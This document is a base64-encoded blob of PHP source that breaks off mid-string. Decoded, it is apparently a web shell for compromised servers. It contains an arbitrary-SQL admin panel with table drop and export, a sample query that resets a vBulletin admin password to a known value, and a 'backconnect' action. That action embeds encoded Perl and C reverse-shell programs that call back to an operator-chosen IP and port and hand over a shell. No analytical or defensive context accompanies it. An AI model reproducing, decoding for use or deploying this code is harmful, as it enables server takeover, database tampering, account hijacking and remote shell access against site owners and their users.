Jywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCgkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQlpZiAoJGRibmFtZSkgew0KCQkJcCgnPHA+Jyk7DQoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRibmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSkgew0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCgkJCX0NCgkJCXAoJzwvcD4nKTsNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCgkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCgkJCX0NCgkJCSRhbGxvd2VkaXQgPSAwOw0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7DQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCX0NCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+DQoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOw0KCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQlwKCRkYmZvcm0pOw0KCQkJcCgnPC9mb3JtPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgew0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsNCgkJCQkJJHJvd2RiID0gYXJyYXkoKTsNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyYTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmZvb3QoKTsNCgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsNCgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7DQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSBhcnJheSgpOw0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoJCQkJCXAoJGRiZm9ybSk7DQoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOw0KCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7DQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWNhc2UgMDoNCgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXNlIDE6DQoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsNCgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7DQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHJlc3VsdCA9IHEoJHF1ZXJ5KTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsNCgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOw0KCQkJCQkJCQkJCXAoJGIxKTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCXVuc2V0KCRiMSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmZvb3QoKTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJY2FzZSAyOg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsNCgkJCQkJJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7DQoJCQkJCSR0YWJsZV9udW0rKzsNCgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsNCgkJCQl9DQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCgkJCQl1bnNldCgkdGFibGUpOw0KCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJcCgkZGJmb3JtKTsNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCgkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsYXNzPWZvdXQ+Jyk7DQoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlRvdGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoIjx0ciBjbGFzcz1cImZvdXRcIj48dGQgY29sc3Bhbj1cIiIuKCRoaWdodmVyID8gOCA6IDYpLiJcIj48aW5wdXQgbmFtZT1cInNhdmVhc2ZpbGVcIiB2YWx1ZT1cIjFcIiB0eXBlPVwiY2hlY2tib3hcIiAvPiBTYXZlIGFzIGZpbGUgPGlucHV0IGNsYXNzPVwiaW5wdXRcIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4ic3FsLmd6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzB